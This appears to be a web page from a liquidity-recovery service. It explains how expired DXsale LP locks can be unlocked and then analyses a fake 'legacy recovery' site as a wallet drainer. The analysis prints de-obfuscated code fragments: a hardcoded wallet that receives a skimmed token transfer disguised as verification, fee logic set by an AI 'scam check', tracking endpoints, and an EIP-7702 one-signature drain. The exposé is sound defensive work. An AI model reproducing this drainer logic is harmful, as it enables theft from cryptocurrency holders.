How it works

The problem

DXsale let projects lock their PancakeSwap LP to prove they wouldn't rug. The LP sits in a per-launch lock contract until an unlock timestamp passes. Then DXsale's frontend went away. The contracts still work perfectly, but with no UI, owners have no obvious way to call them. Expired, claimable liquidity just sits there, reachable only by someone who can talk to the contract directly.

How we decode a lock safely

We anchor on a lock verified by hand (0x3059…fbf7). Any lock whose deployed bytecode hashes identically shares the exact same storage layout, so the slots are guaranteed to mean the same thing:

• slot 2: the project token contract.
• slot 3: the authorized caller, the one wallet allowed to unlock.
• slot 4: the unlock timestamp.
• slot 6: the DEX factory.

The LP pair address is not stored, so we compute it with factory.getPair(token, WBNB) and read the lock's balance of it. The unlock function is refundUniLP(), selector 0xe50a4f80. Locks with different bytecode are flagged for review rather than decoded blindly.

A real recovery

The reference lock held ~146 PancakeSwap LP, roughly 29.7 WBNB of liquidity, from a 2021 launch, expired June 2024, never withdrawn. The catch: the authorized wallet in slot 3 was the original deployer, not the contract's owner(). Call it from the wrong address and it simply reverts, which is exactly why most people assumed it was bricked and walked away. Called correctly, the LP released for the cost of gas.

dxsale.one is a wallet drainer, and we read its code

The “legacy recovery” site circulating as DXsale's, lpsearch.dxsale.one, is not an over-priced tool. It is malicious. We downloaded and de-obfuscated its JavaScript bundle. Here is what it does, in its own code.

1. It skims your tokens to a hardcoded wallet, disguised as a confirmation

var ka = "0x7AC74dBE5887Bf2DD057460e7bAb8D9b83752cC1";
// reads your balance, takes n = balance * feeBps / 10000, then:
transfer(args:[ka, n])  →  status shown: "Verification complete"

It moves a slice of your tokens to that hardcoded address and labels the step “Verification complete,” so a victim believes it is a routine confirm rather than a payment.

2. The cut is 40%, or 100% if its AI flags you

return { isScam, feeBps: o.isScam ? 1e4 : 4e3 }   // 40% default, 100% if "scam"

A Gemini “scam check” sets the fee: 40% by default (even when the check errors), 100% for anything it flags. Reflection tokens get flagged, so it takes essentially everything.

3. It tracks victims and offers a one-signature 7702 drain

On connect and unlock it POSTs your address, chain, token, and position value to its own /api/wallet-track and /api/sweeper-register endpoints, building a list of wallets that hold real value. Its “1 signature” option uses EIP-7702 signAuthorization to delegate your wallet to its LpExtractor contract, then batches the drain into a single signed call.

Do not connect a wallet to dxsale.one or lpsearch.dxsale.one. The verified official DXsale domain is dxsale.app. Your funds are already yours; you never need to give a site 40% of them.